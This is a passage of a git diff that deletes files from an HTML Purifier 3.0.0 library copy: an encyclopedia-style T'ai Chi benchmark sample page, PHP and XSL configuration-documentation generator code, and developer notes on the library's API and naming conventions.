In the modern world there are now dozens of new styles, hybrid styles and offshoots of the main styles, but the five family schools are the groups recognised by the international community as being orthodox. For example, there are several groups teaching what they call Wu Tang style T'ai Chi Ch'üan (??????). The best known modern style going by the name Wu Tang has gained some publicity internationally, especially in the UK and Europe, but was originally taught by a senior student of the Wu (?) style.

- -

The designation Wu Tang Ch'üan is also used to broadly distinguish internal or nei chia martial arts (said to be a specialty of the monasteries at Wu Tang Shan) from what are known as the external or wei chia styles based on Shaolinquan kung fu, although that distinction is sometimes disputed by individual schools. In this broad sense, among many T'ai Chi schools all styles of T'ai Chi (as well as related arts such as Pa Kua Chang and Hsing-i Ch'üan) are therefore considered to be "Wu Tang style" martial arts. The schools that designate themselves "Wu Tang style" relative to the family styles mentioned above mostly claim to teach an "original style" they say was formulated by a Taoist monk called Zhang Sanfeng and taught by him in the Taoist monasteries at Wu Tang Shan. Some consider that what is practised under that name today may be a modern back-formation based on stories and popular veneration of Zhang Sanfeng (see below) as well as the martial fame of the Wu Tang monastery (there are many other martial art styles historically associated with Wu Tang besides T'ai Chi).

- -

When tracing T'ai Chi Ch'üan's formative influences to Taoist and Buddhist monasteries, one has little more to go on than legendary tales from a modern historical perspective, but T'ai Chi Ch'üan's practical connection to and dependence upon the theories of Sung dynasty Neo-Confucianism (a conscious synthesis of Taoist, Buddhist and Confucian traditions, esp. the teachings of Mencius) is readily apparent to its practitioners. The philosophical and political landscape of that time in Chinese history is fairly well documented, even if the origin of the art later to become known as T'ai Chi Ch'üan in it is not. T'ai Chi Ch'üan's theories and practice are therefore believed by some schools to have been formulated by the Taoist monk Zhang Sanfeng in the 12th century, a time frame fitting well with when the principles of the Neo-Confucian school were making themselves felt in Chinese intellectual life. Therefore the didactic story is told that Zhang Sanfeng as a young man studied Tao Yin (??, Pinyin daoyin) breathing exercises from his Taoist teachers and martial arts at the Buddhist Shaolin monastery, eventually combining the martial forms and breathing exercises to formulate the soft or internal principles we associate with T'ai Chi Ch'üan and related martial arts. Its subsequent fame attributed to his teaching, Wu Tang monastery was known thereafter as an important martial center for many centuries, its many styles of internal kung fu preserved and refined at various Taoist temples.

- - -

-

Family tree

-

This family tree is not comprehensive.

-
-LEGENDARY FIGURES
-   |
-Zhang Sanfeng*
-circa 12th century
-NEI CHIA
-
-   |
-Wang Zongyue*
-T'AI CHI CH'ÜAN
-   |
-THE 5 MAJOR CLASSICAL FAMILY STYLES
-   |
-Chen Wangting
-1600-1680 9th generation Chen
-CHEN STYLE
-   |
-   +-------------------------------------------------------------------+
-   |                                                                   |
-Chen Changxing                                                     Chen Youben
-1771-1853 14th generation Chen                                     circa 1800s 14th generation Chen
-Chen Old Frame                                                     Chen New Frame
-   |                                                                   |
-
-Yang Lu-ch'an                                                      Chen Qingping
-1799-1872                                                          1795-1868
-YANG STYLE                                                         Chen Small Frame, Zhao Bao Frame
-   |                                                                   |
-   +---------------------------------+-----------------------------+   |
-   |                                 |                             |   |
-Yang Pan-hou                      Yang Chien-hou                   Wu Yu-hsiang
-1837-1892                         1839-1917                        1812-1880
-Yang Small Frame                     |                             WU/HAO STYLE
-
-   |                                 +-----------------+                      |
-   |                                 |                 |                      |
-Wu Ch'uan-yü                      Yang Shao-hou     Yang Ch'eng-fu          Li I-yü
-1834-1902                         1862-1930         1883-1936               1832-1892
-   |                              Yang Small Frame  Yang Big Frame            |
-Wu Chien-ch'üan                                        |                    Hao Wei-chen
-
-1870-1942                                           Yang Shou-chung         1849-1920
-WU STYLE                                            1910-1985                 |
-108 Form                                                                      |
-   |                                                                        Sun Lu-t'ang
-Wu Kung-i                                                                   1861-1932
-1900-1970                                                                   SUN STYLE
-
-   |                                                                          |
-Wu Ta-kuei                                                                  Sun Hsing-i
-1923-1970                                                                   1891-1929                  
-                           
-MODERN FORMS        
-                                      
-from Yang Ch`eng-fu                     
-        |               
-        |              
-        |                         
-        +--------------+      
-        |              |       
-  Cheng Man-ch'ing     |   
-  1901-1975            |    
-  Short (37) Form      |     
-                       |
-              Chinese Sports Commission
-              1956
-              Beijing 24 Form
-              .
-              .
-              1989
-              42 Competition Form
-
-              (Wushu competition form combined from Sun, Wu, Chen, and Yang styles)
-
- -

-

Notes to Family tree table

-

Names denoted by an asterisk are legendary or semilegendary figures in the lineage, which means their involvement in the lineage, while accepted by most of the major schools, isn't independently verifiable from known historical records.

-

The Cheng Man-ch'ing and Chinese Sports Commission short forms are said to be derived from Yang family forms, but neither are recognized as Yang family T'ai Chi Ch'üan by current Yang family teachers. The Chen, Yang and Wu families are now promoting their own shortened demonstration forms for competitive purposes.

- - -

-

Modern T'ai Chi

-
-
Yang style in Shanghai -
-
Enlarge
-Yang style in Shanghai
-
-
-

T'ai Chi has become very popular in the last twenty years or so, as the baby boomers age and T'ai Chi's reputation for ameliorating the effects of aging becomes more well-known. Hospitals, clinics, community and senior centers are all hosting T'ai Chi classes in communities around the world. As a result of this popularity, there has been some divergence between those who say they practice T'ai Chi primarily for fighting, those who practice it for its aesthetic appeal (as in the shortened, modern, theatrical "Taijiquan" forms of wushu, see below), and those who are more interested in its benefits to physical and mental health. The wushu aspect is primarily for show; the forms taught for those purposes are designed to earn points in competition and are mostly unconcerned with either health maintenance or martial ability. More traditional stylists still see the two aspects of health and martial arts as equally necessary pieces of the puzzle, the yin and yang of T'ai Chi Ch'üan. The T'ai Chi "family" schools therefore still present their teachings in a martial art context even though the majority of their students nowadays profess that they are primarily interested in training for the claimed health benefits.

- -

Along with Yoga, it is one of the fastest growing fitness and health maintenance activities, in terms of numbers of students enrolling in classes. Since there is no universal certification process and most Westerners haven't seen very much T'ai Chi and don't know what to look for, practically anyone can learn or even make up a few moves and call themselves a teacher. This is especially prevalent in the New Age community. Relatively few of these teachers even know that there are martial applications to the T'ai Chi forms. Those who do know that it is a martial art usually don't teach martially themselves. If they do teach self-defense, it is often a mixture of motions which the teachers think look like T'ai Chi Ch'üan with some other system. This is especially evident in schools located outside of China. While this phenomenon may have made some external aspects of T'ai Chi available for a wider audience, the traditional T'ai Chi family schools see the martial focus as a fundamental part of their training, both for health and self-defense purposes. They claim that while the students may not need to practice martial applications themselves to derive a benefit from T'ai Chi training, they assert that T'ai Chi teachers at least should know the martial applications to ensure that the movements they teach are done correctly and safely by their students. Also, working on the ability to protect oneself from physical attack (one of the most stressful things that can happen to a person) certainly falls under the category of complete "health maintenance." For these reasons they claim that a school not teaching those aspects somewhere in their syllabus cannot be said to be actually teaching the art itself, and will be much less likely to be able to reproduce the full health benefits that made T'ai Chi's reputation in the first place.

- -

-

Modern forms

- -
-
Women practicing non-martial T'ai Chi in Chinatown (New York City, New York, USA). -
-
Enlarge
-Women practicing non-martial T'ai Chi in Chinatown (New York City, New York, USA).
-
-
- -

In order to standardize T'ai Chi Ch'üan for wushu tournament judging, and because many of the family T'ai Chi Ch'üan teachers had either moved out of China or had been forced to stop teaching after the Communist regime was established in 1949, the government sponsored Chinese Sports Committee brought together four of their wushu teachers to truncate the Yang family hand form to 24 postures in 1956. They wanted to somehow retain the look of T'ai Chi Ch'üan but make an easy to remember routine that was less difficult to teach and much less difficult to learn than longer (generally 88 to 108 posture) classical solo hand forms. In 1976, they developed a slightly longer form also for the purposes of demonstration that still didn't involve the complete memory, balance and coordination requirements of the traditional forms. This was a combination form, the Combined 48 Forms that were created by three wushu coaches headed by Professor Men Hui Feng. The combined forms were created based on simplifying and combining some features of the classical forms from four of the original styles; Ch'en, Yang, Wu, and Sun. Even though shorter modern forms don't have the conditioning benefits of the classical forms, the idea was to take what they felt were distinctive cosmetic features of these styles and to express them in a shorter time for purposes of competition.

- -

As T'ai Chi again became popular on the Mainland, competitive forms were developed to be completed within a 6 minute time limit. In the late 1980s, the Chinese Sports Committee standardized many different competition forms. It had developed sets said to represent the four major styles as well as combined forms. These five sets of forms were created by different teams, and later approved by a committee of wushu coaches in China. All sets of forms thus created were named after their style, e.g., the Ch'en Style National Competition Form is the 56 Forms, and so on. The combined forms are The 42 Form or simply the Competition Form, as it is known in China. In the 11th Asian Games of 1990, wushu was included as an item for competition for the first time with the 42 Form being chosen to represent T'ai Chi. The International Wushu Federation (IWUF) has applied for wushu to be part of the Olympic games. If accepted, it is likely that T'ai Chi and wushu will be represented as demonstration events in 2008.

- -

Representatives of the original T'ai Chi families do not teach the forms developed by the Chinese Sports Committee. T'ai Chi Ch'üan has historically been seen by them as a martial art, not a sport, with competitions mostly entered as a hobby or to promote one's school publicly, but with little bearing on measuring actual accomplishment in the art. Their criticisms of modern forms include that the modern, "government" routines have no standardized, internally consistent training requirements. Also, that people studying competition forms rarely train pushing hands or other power generation trainings vital to learning the martial applications of T'ai Chi Ch'üan and thereby lack the quality control traditional teachers maintain is essential for achieving the full benefits from both the health and the martial aspect of traditional T'ai Chi training.

- -

-

Health benefits

-

Researchers have found that long-term T'ai Chi practice had favorable effects on the promotion of balance control, flexibility and cardiovascular fitness and reduced the risk of falls in elders. The studies also reported reduced pain, stress and anxiety in healthy subjects. Other studies have indicated improved cardiovascular and respiratory function in healthy subjects as well as those who had undergone coronary artery bypass surgery. Patients also benefited from T'ai Chi who suffered from heart failure, high blood pressure, heart attacks, arthritis and multiple sclerosis.

-

T'ai Chi has also been shown to reduce the symptoms of young Attention Deficit and Hyperactivity Disorder (ADHD) sufferers. T'ai Chi's gentle, low impact, movements surprisingly burn more calories than surfing and nearly as many as downhill skiing. T'ai Chi also boosts aspects of the immune system's function very significantly, and has been shown to reduce the incidence of anxiety, depression, and overall mood disturbance. (See research citations listed below.)

- -

A pilot study has found evidence that T'ai Chi and related qigong helps reduce the severity of diabetes.[1]

- -

-

Citations to medical research

-
    -
  • Wolf SL, Sattin RW, Kutner M. Intense T'ai Chi exercise training and fall occurrences in older, transitionally frail adults: a randomized, controlled trial. J Am Geriatr Soc. 2003 Dec; 51(12): 1693-701. PMID 14687346
  • -
  • Wang C, Collet JP, Lau J. The effect of Tai Chi on health outcomes in patients with chronic conditions: a systematic review. Arch Intern Med. 2004 Mar 8;164(5):493-501. PMID 15006825
  • - -
  • Search a listing of articles relating to the FICSIT trials and T'ai Chi [2]
  • -
  • Hernandez-Reif, M., Field, T.M., & Thimas, E. (2001). Attention deficit hyperactivity disorder: benefits from Tai Chi. Journal of Bodywork & Movement Therapies, 5(2):120-3, 2001 Apr, 5(23 ref), 120-123
  • -
  • Calorie Burning Chart [3]
  • -
  • Tai Chi boosts T-Cell counts in immune system [4]
  • -
  • Tai Chi, depression, anxiety, and mood disturbance (American Psychological Association) Journal of Psychosomatic Research, 1989 Vol 33 (2) 197-206
  • - -
  • A comprehensive listing of Tai Chi medical research links [5]
  • -
  • References to medical publications [6]
  • -
  • Tai Chi a promising remedy for diabetes, Australian Broadcasting Corporation, 20 December, 2005 - Pilot study of Qigong and tai chi in diabetes sufferers.
  • -
  • Health Research Articles on "Tai Chi as Health Therapy" for many issues, i.e. ADHD, Cardiac Health & Rehabilitation, Diabetes, High Blood Pressure, Menopause, Bone Loss, Weight Loss, etc.[7]
  • -
- - -

-

See also

- - -

-

External links

- - - - - - - -
-
-
-
-
-
-
Views
- -
-
-
Personal tools
- -
- - - - - - -
-
In other languages
- -
- -
-
- - -
- - - diff --git a/lib/htmlpurifier-3.0.0/benchmarks/samples/Lexer/DISCLAIMER.txt b/lib/htmlpurifier-3.0.0/benchmarks/samples/Lexer/DISCLAIMER.txt deleted file mode 100644 index 4ad94a9..0000000 --- a/lib/htmlpurifier-3.0.0/benchmarks/samples/Lexer/DISCLAIMER.txt +++ /dev/null @@ -1,5 +0,0 @@ -Disclaimer: - -The HTML used in these samples are taken from random websites. I claim -no copyright over these and assert that I may use them like this under -fair use. \ No newline at end of file diff --git a/lib/htmlpurifier-3.0.0/configdoc/generate.php b/lib/htmlpurifier-3.0.0/configdoc/generate.php deleted file mode 100644 index 9e73f4c..0000000 --- a/lib/htmlpurifier-3.0.0/configdoc/generate.php +++ /dev/null @@ -1,45 +0,0 @@ -')) exit('Requires PHP 5 or higher.'); -error_reporting(E_ALL); // probably not possible to use E_STRICT - -define('HTMLPURIFIER_SCHEMA_STRICT', true); // description data needs to be collected - -// load dual-libraries -require_once '../library/HTMLPurifier.auto.php'; -require_once 'library/ConfigDoc.auto.php'; - -$purifier = HTMLPurifier::getInstance(array( - 'AutoFormat.PurifierLinkify' => true -)); - -$schema = HTMLPurifier_ConfigSchema::instance(); -$style = 'plain'; // use $_GET in the future -$configdoc = new ConfigDoc(); -$output = $configdoc->generate($schema, $style); - -// write out -file_put_contents("$style.html", $output); - -if (php_sapi_name() != 'cli') { - // output = instant feedback - echo $output; -} else { - echo 'Files generated successfully.'; -} - diff --git a/lib/htmlpurifier-3.0.0/configdoc/library/ConfigDoc.auto.php b/lib/htmlpurifier-3.0.0/configdoc/library/ConfigDoc.auto.php deleted file mode 100644 index 0dab470..0000000 --- a/lib/htmlpurifier-3.0.0/configdoc/library/ConfigDoc.auto.php +++ /dev/null @@ -1,9 +0,0 @@ -serialize($schema); - $types_document->save(dirname(__FILE__) . '/../types.xml'); // only ONE - - // generate configdoc.xml, documents configuration directives - $schema_serializer = new ConfigDoc_XMLSerializer_ConfigSchema(); - $schema_document = $schema_serializer->serialize($schema); - $schema_document->save('configdoc.xml'); - - // setup transformation - $xsl_stylesheet = dirname(__FILE__) . "/../styles/$xsl_stylesheet_name.xsl"; - $xslt_processor = new ConfigDoc_HTMLXSLTProcessor(); - $xslt_processor->setParameters($parameters); - $xslt_processor->importStylesheet($xsl_stylesheet); - - return $xslt_processor->transformToHTML($schema_document); - } - - /** - * Remove any generated files - * @return boolean Success? - */ - public function cleanup() { - return unlink('configdoc.xml'); - } - -} - diff --git a/lib/htmlpurifier-3.0.0/configdoc/library/ConfigDoc/HTMLXSLTProcessor.php b/lib/htmlpurifier-3.0.0/configdoc/library/ConfigDoc/HTMLXSLTProcessor.php deleted file mode 100644 index f472229..0000000 --- a/lib/htmlpurifier-3.0.0/configdoc/library/ConfigDoc/HTMLXSLTProcessor.php +++ /dev/null @@ -1,75 +0,0 @@ -xsltProcessor = new XSLTProcessor(); - } - - /** - * Imports stylesheet for processor to use - * @param $xsl XSLT DOM tree, or filename of the XSL transformation - * @return bool Success? - */ - public function importStylesheet($xsl) { - if (is_string($xsl)) { - $xsl_file = $xsl; - $xsl = new DOMDocument(); - $xsl->load($xsl_file); - } - return $this->xsltProcessor->importStylesheet($xsl); - } - - /** - * Transforms an XML file into compatible XHTML based on the stylesheet - * @param $xml XML DOM tree - * @return string HTML output - * @todo Rename to transformToXHTML, as transformToHTML is misleading - */ - public function transformToHTML($xml) { - $out = $this->xsltProcessor->transformToXML($xml); - - // fudges for HTML backwards compatibility - // assumes that document is XHTML - $out = str_replace('/>', ' />', $out); //
not
- $out = str_replace(' xmlns=""', '', $out); // rm unnecessary xmlns - $out = str_replace(' xmlns="http://www.w3.org/1999/xhtml"', '', $out); // rm unnecessary xmlns - - if (class_exists('Tidy')) { - // cleanup output - $config = array( - 'indent' => true, - 'output-xhtml' => true, - 'wrap' => 80 - ); - $tidy = new Tidy; - $tidy->parseString($out, $config, 'utf8'); - $tidy->cleanRepair(); - $out = (string) $tidy; - } - - return $out; - } - - /** - * Bulk sets parameters for the XSL stylesheet - * @param array $options Associative array of options to set - */ - public function setParameters($options) { - foreach ($options as $name => $value) { - $this->xsltProcessor->setParameter('', $name, $value); - } - } - -} - diff --git a/lib/htmlpurifier-3.0.0/configdoc/library/ConfigDoc/XMLSerializer.php b/lib/htmlpurifier-3.0.0/configdoc/library/ConfigDoc/XMLSerializer.php deleted file mode 100644 index 4880c52..0000000 --- a/lib/htmlpurifier-3.0.0/configdoc/library/ConfigDoc/XMLSerializer.php +++ /dev/null @@ -1,31 +0,0 @@ -purify($html); - $dom_html = $document->createDocumentFragment(); - $dom_html->appendXML($html); - $dom_div = $document->createElement('div'); - $dom_div->setAttribute('xmlns', 'http://www.w3.org/1999/xhtml'); - $dom_div->appendChild($dom_html); - $node->appendChild($dom_div); - } - -} - diff --git a/lib/htmlpurifier-3.0.0/configdoc/library/ConfigDoc/XMLSerializer/ConfigSchema.php b/lib/htmlpurifier-3.0.0/configdoc/library/ConfigDoc/XMLSerializer/ConfigSchema.php deleted file mode 100644 index 07715df..0000000 --- a/lib/htmlpurifier-3.0.0/configdoc/library/ConfigDoc/XMLSerializer/ConfigSchema.php +++ /dev/null @@ -1,124 +0,0 @@ -createElement('configdoc'); - $dom_document->appendChild($dom_root); - $dom_document->formatOutput = true; - - // add the name of the application - $dom_root->appendChild($dom_document->createElement('title', 'HTML Purifier')); - - /* - TODO for XML format: - - create a definition (DTD or other) once interface stabilizes - */ - - foreach($schema->info as $namespace_name => $namespace_info) { - - $dom_namespace = $dom_document->createElement('namespace'); - $dom_root->appendChild($dom_namespace); - - $dom_namespace->setAttribute('id', $namespace_name); - $dom_namespace->appendChild( - $dom_document->createElement('name', $namespace_name) - ); - $dom_namespace_description = $dom_document->createElement('description'); - $dom_namespace->appendChild($dom_namespace_description); - $this->appendHTMLDiv($dom_document, $dom_namespace_description, - $schema->info_namespace[$namespace_name]->description); - - foreach ($namespace_info as $name => $info) { - - if ($info->class == 'alias') continue; - - $dom_directive = $dom_document->createElement('directive'); - $dom_namespace->appendChild($dom_directive); - - $dom_directive->setAttribute('id', $namespace_name . '.' . $name); - $dom_directive->appendChild( - $dom_document->createElement('name', $name) - ); - - $dom_aliases = $dom_document->createElement('aliases'); - $dom_directive->appendChild($dom_aliases); - foreach ($info->directiveAliases as $alias) { - $dom_aliases->appendChild($dom_document->createElement('alias', $alias)); - } - - $dom_constraints = $dom_document->createElement('constraints'); - $dom_directive->appendChild($dom_constraints); - - $dom_type = $dom_document->createElement('type', $info->type); - if ($info->allow_null) { - $dom_type->setAttribute('allow-null', 'yes'); - } - $dom_constraints->appendChild($dom_type); - - if ($info->allowed !== true) { - $dom_allowed = $dom_document->createElement('allowed'); - $dom_constraints->appendChild($dom_allowed); - foreach ($info->allowed as $allowed => $bool) { - $dom_allowed->appendChild( - $dom_document->createElement('value', $allowed) - ); - } - } - - $raw_default = $schema->defaults[$namespace_name][$name]; - if (is_bool($raw_default)) { - $default = $raw_default ? 'true' : 'false'; - } elseif (is_string($raw_default)) { - $default = "\"$raw_default\""; - } elseif (is_null($raw_default)) { - $default = 'null'; - } else { - $default = print_r( - $schema->defaults[$namespace_name][$name], true - ); - } - - $dom_default = $dom_document->createElement('default', $default); - - // remove this once we get a DTD - $dom_default->setAttribute('xml:space', 'preserve'); - - $dom_constraints->appendChild($dom_default); - - $dom_descriptions = $dom_document->createElement('descriptions'); - $dom_directive->appendChild($dom_descriptions); - - foreach ($info->descriptions as $file => $file_descriptions) { - foreach ($file_descriptions as $line => $description) { - $dom_description = $dom_document->createElement('description'); - // refuse to write $file if it's a full path - if (str_replace('\\', '/', realpath($file)) != $file) { - $dom_description->setAttribute('file', $file); - $dom_description->setAttribute('line', $line); - } - $this->appendHTMLDiv($dom_document, $dom_description, $description); - $dom_descriptions->appendChild($dom_description); - } - } - - } - - } - - return $dom_document; - - } - -} - diff --git a/lib/htmlpurifier-3.0.0/configdoc/library/ConfigDoc/XMLSerializer/Types.php b/lib/htmlpurifier-3.0.0/configdoc/library/ConfigDoc/XMLSerializer/Types.php deleted file mode 100644 index 5b8e6c1..0000000 --- a/lib/htmlpurifier-3.0.0/configdoc/library/ConfigDoc/XMLSerializer/Types.php +++ /dev/null @@ -1,27 +0,0 @@ -createElement('types'); - $types_document->appendChild($types_root); - $types_document->formatOutput = true; - foreach ($schema->types as $name => $expanded_name) { - $types_type = $types_document->createElement('type', $expanded_name); - $types_type->setAttribute('id', $name); - $types_root->appendChild($types_type); - } - return $types_document; - } - -} - diff --git a/lib/htmlpurifier-3.0.0/configdoc/styles/plain.css b/lib/htmlpurifier-3.0.0/configdoc/styles/plain.css deleted file mode 100644 index a814a97..0000000 --- a/lib/htmlpurifier-3.0.0/configdoc/styles/plain.css +++ /dev/null @@ -1,24 +0,0 @@ - -body {margin:1em 4em;} - -table {border-collapse:collapse;} -table td, table th {padding:0.2em;} - -table.constraints {margin:0 0 1em;} -table.constraints th {text-align:left;padding-left:0.4em;} -table.constraints td {padding-right:0.4em;} -table.constraints td pre {margin:0;} - -#toc {list-style-type:none; font-weight:bold;} -#toc ul {list-style-type:disc; font-weight:normal;} - -.description p {margin-top:0;margin-bottom:1em;} - -#library, h1 {text-align:center; font-family:Garamond, serif; - font-variant:small-caps;} -#library {font-size:1em;} -h1 {margin-top:0;} -h2 {border-bottom:1px solid #CCC; font-family:sans-serif; font-weight:normal; - font-size:1.3em;} -h3 {font-family:sans-serif; font-size:1.1em; font-weight:bold; } -h4 {font-family:sans-serif; font-size:0.9em; font-weight:bold; } diff --git a/lib/htmlpurifier-3.0.0/configdoc/styles/plain.xsl b/lib/htmlpurifier-3.0.0/configdoc/styles/plain.xsl deleted file mode 100644 index f8b1cdf..0000000 --- a/lib/htmlpurifier-3.0.0/configdoc/styles/plain.xsl +++ /dev/null @@ -1,151 +0,0 @@ - - - - - - - - - - - - <xsl:value-of select="$title" /> - <xsl:value-of select="/configdoc/title" /> - - - - -
-

-

Table of Contents

-
    - -
- - - -
- - - - -
  • - -
      - -
    -
  • -
    -
    - -
  • -
    - - - - - - -

    No configuration directives defined for this namespace.

    -
    -
    - -

    -
    - -
    - -
    -
    - - - - - - -

    -
    - - - - - - - - - - - - - - - - - - - - -
    Used by: - - , - - -
    -
    - - Aliases: - - - , - - - - - -
    - -
    -
    - - - - Type: - - - type type- - - - (or null) - - - - - - - Allowed values: - - , - "" - - - - - - Default: -
    - -
    - -
    diff --git a/lib/htmlpurifier-3.0.0/docs/dev-advanced-api.html b/lib/htmlpurifier-3.0.0/docs/dev-advanced-api.html deleted file mode 100644 index 2c6db43..0000000 --- a/lib/htmlpurifier-3.0.0/docs/dev-advanced-api.html +++ /dev/null @@ -1,213 +0,0 @@ - - - - - - - -Advanced API - HTML Purifier - - - -

    Advanced API

    - -
    Filed under Development
    -
    Return to the index.
    -
    HTML Purifier End-User Documentation
    - -

    HTML Purifier currently natively supports only a subset of HTML's -allowed elements, attributes, and behavior; specifically, this subset -is the set of elements that are safe for untrusted users to use. -However, HTML Purifier is often utilized to ensure standards-compliance -from input that is trusted (making it a sort of Tidy substitute), -and often users need to define new elements or attributes. The -advanced API is oriented specifically for these use-cases.

    - -

    Our goals are to let the user:

    - -
    -
    Select
    -
      -
    • Doctype
    • - -
    • Elements / Attributes / Modules
    • -
    • Tidy
    • -
    -
    Customize
    -
      -
    • Attributes
    • -
    • Elements
    • - -
    -
    - -

    Select

    - -

    For basic use, the user will have to specify some basic parameters. This -is not strictly necessary, as HTML Purifier's default setting will always -output safe code, but is required for standards-compliant output.

    - -

    Selecting a Doctype

    - -

    The first thing to select is the doctype. This -is essential for standards-compliant output.

    - -

    This identifier is based -on the name the W3C has given to the document type and not -the DTD identifier.

    - -

    This parameter is set via the configuration object:

    - -
    $config->set('HTML', 'Doctype', 'XHTML 1.0 Transitional');
    - -

    Due to historical reasons, the default doctype is XHTML 1.0 -Transitional, however, we really shouldn't be guessing what the user's -doctype is. Fortunantely, people who can't be bothered to set this won't -be bothered when their pages stop validating.

    - -

    Selecting Elements / Attributes / Modules

    - -

    HTML Purifier will, by default, allow as many elements and attributes -as possible. However, a user may decide to roll their own filterset by -selecting modules, elements and attributes to allow for their own -specific use-case. This can be done using %HTML.Allowed:

    - -
    $config->set('HTML', 'Allowed', 'a[href|title],em,p,blockquote');
    - -

    The directive %HTML.Allowed is a convenience feature -that may be fully expressed with the legacy interface.

    - -

    We currently support another interface from older versions:

    - -
    $config->set('HTML', 'AllowedElements', 'a,em,p,blockquote');
    -$config->set('HTML', 'AllowedAttributes', 'a.href,a.title');
    - -

    A user may also choose to allow modules using a specialized -directive:

    - -
    $config->set('HTML', 'AllowedModules', 'Hypertext,Text,Lists');
    - -

    But it is not expected that this feature will be widely used.

    - -

    Module selection will work slightly differently -from the other AllowedElements and AllowedAttributes directives by -directly modifying the doctype you are operating in, in the spirit of -XHTML 1.1's modularization. We stop users from shooting themselves in the -foot by mandating the modules in %HTML.CoreModules be used.

    - -

    Modules are distinguished from regular elements by the -case of their first letter. While XML distinguishes between and allows -lower and uppercase letters in element names, XHTML uses only lower-case -element names for sake of consistency.

    - -

    Selecting Tidy

    - -

    The name of this segment of functionality is inspired off of Dave -Ragget's program HTML Tidy, which purported to help clean up HTML. In -HTML Purifier, Tidy functionality involves turning unsupported and -deprecated elements into standards-compliant ones, maintaining -backwards compatibility, and enforcing best practices.

    - -

    This is a complicated feature, and is explained more in depth at -the Tidy documentation page.

    - - - -

    Customize

    - -

    By reviewing topic posts in the support forum, we determined that -there were two primarily demanded customization features people wanted: -to add an attribute to an existing element, and to add an element. -Thus, we'll want to create convenience functions for these common -use-cases.

    - -

    Note that the functions described here are only available if -a raw copy of HTMLPurifier_HTMLDefinition was retrieved. -Furthermore, caching may prevent your changes from immediately -being seen: consult enduser-customize.html on how -to work around this.

    - -

    Attributes

    - -

    An attribute is bound to an element by a name and has a specific -AttrDef that validates it. The interface is therefore:

    - -
    function addAttribute($element, $attribute, $attribute_def);
    - -

    Example of the functionality in action:

    - -
    $def->addAttribute('a', 'rel', 'Enum#nofollow');
    - -

    The $attribute_def value is flexible, -to make things simpler. It can be a literal object or:

    - -
      - -
    • String attribute type: We'll use HTMLPurifier_AttrTypes - to resolve it for you. Any data that follows a hash mark (#) will - be used to customize the attribute type: in the example above, - we specify which values for Enum to allow.
    • -
    - -

    Elements

    - -

    An element requires certain information as specified by -HTMLPurifier_ElementDef. However, not all of it is necessary, -the usual things required are:

    - -
      -
    • Attributes
    • -
    • Content model/type
    • -
    • Registration in a content set
    • -
    - -

    This suggests an API like this:

    - -
    function addElement($element, $type, $contents,
    -    $attr_collections = array(); $attributes = array());
    - -

    Each parameter explained in depth:

    - -
    -
    $element
    -
    Element name, ex. 'label'
    -
    $type
    -
    Content set to register in, ex. 'Inline' or 'Flow'
    -
    $contents
    -
    Description of allowed children. This is a merged form of - HTMLPurifier_ElementDef's member variables - $content_model and $content_model_type, - where the form is Type: Model, ex. 'Optional: Inline'. - There are also a number of predefined templates one may use.
    -
    $attr_collections
    -
    Array (or string if only one) of attribute collection(s) to - merge into the attributes array.
    -
    $attributes
    -
    Array of attribute names to attribute definitions, much like - the above-described attribute customization.
    -
    - -

    A possible usage:

    - -
    $def->addElement('font', 'Inline', 'Optional: Inline', 'Common',
    -    array('color' => 'Color'));
    - -

    See HTMLPurifier/HTMLModule.php for details.

    - -
    $Id: dev-advanced-api.html 1253 2007-06-27 13:58:32Z Edward $
    - - diff --git a/lib/htmlpurifier-3.0.0/docs/dev-code-quality.txt b/lib/htmlpurifier-3.0.0/docs/dev-code-quality.txt deleted file mode 100644 index 10e21cb..0000000 --- a/lib/htmlpurifier-3.0.0/docs/dev-code-quality.txt +++ /dev/null @@ -1,28 +0,0 @@ - -Code Quality Issues - -Okay, face it. Programmers can get lazy, cut corners, or make mistakes. They -also can do quick prototypes, and then forget to rewrite them later. Well, -while I can't list mistakes in here, I can list prototype-like segments -of code that should be aggressively refactored. This does not list -optimization issues, that needs to be done after intense profiling. - -docs/examples/demo.php - ad hoc HTML/PHP soup to the extreme - -AttrDef - a lot of duplication, more generic classes need to be created; -a lot of strtolower() calls, no legit casing - Class - doesn't support Unicode characters (fringe); uses regular expressions - Lang - code duplication; premature optimization - Length - easily mistaken for CSSLength - URI - multiple regular expressions; missing validation for parts (?) - CSS - parser doesn't accept advanced CSS (fringe) - Number - constructor interface inconsistent with Integer -ConfigSchema - redefinition is a mess -Strategy - FixNesting - cannot bubble nodes out of structures, duplicated checks - for special-case parent node - RemoveForeignElements - should be run in parallel with MakeWellFormed -URIScheme - needs to have callable generic checks - mailto - doesn't validate emails, doesn't validate querystring - news - doesn't validate opaque path - nntp - doesn't constrain path diff --git a/lib/htmlpurifier-3.0.0/docs/dev-naming.html b/lib/htmlpurifier-3.0.0/docs/dev-naming.html deleted file mode 100644 index c4a0d82..0000000 --- a/lib/htmlpurifier-3.0.0/docs/dev-naming.html +++ /dev/null @@ -1,82 +0,0 @@ - - - - - - - -Naming Conventions - HTML Purifier - - - -

    Naming Conventions

    - -
    Filed under Development
    -
    Return to the index.
    -
    HTML Purifier End-User Documentation
    - -

    The classes in this library follow a few naming conventions, which may -help you find the correct functionality more quickly. Here they are:

    - -
    - -
    All classes occupy the HTMLPurifier pseudo-namespace.
    -
    This means that all classes are prefixed with HTMLPurifier_. As such, all - names under HTMLPurifier_ are reserved. I recommend that you use the name - HTMLPurifierX_YourName_ClassName, especially if you want to take advantage - of HTMLPurifier_ConfigDef.
    - -
    All classes correspond to their path if library/ was in the include path
    -
    HTMLPurifier_AttrDef is located at HTMLPurifier/AttrDef.php; replace - underscores with slashes and append .php and you'll have the location of - the class.
    - -
    Harness and Test are reserved class names for unit tests
    -
    The suffix Test indicates that the class is a subclass of UnitTestCase - (of the Simpletest library) and is testable. "Harness" indicates a subclass - of UnitTestCase that is not meant to be run but to be extended into - concrete test cases and contains custom test methods (i.e. assert*())
    - -
    Class names do not necessarily represent inheritance hierarchies
    -
    While we try to reflect inheritance in naming to some extent, it is not - guaranteed (for instance, none of the classes inherit from HTMLPurifier, - the base class). However, all class files have the require_once - declarations to whichever classes they are tightly coupled to.
    - -
    Strategy has a meaning different from the Gang of Four pattern
    -
    In Design Patterns, the Gang of Four describes a Strategy object as - encapsulating an algorithm so that they can be switched at run-time. While - our strategies are indeed algorithms, they are not meant to be substituted: - all must be present in order for proper functioning.
    - -
    Abbreviations are avoided
    -
    We try to avoid abbreviations as much as possible, but in some cases, - abbreviated version is more readable than the full version. Here, we - list common abbreviations: -
      -
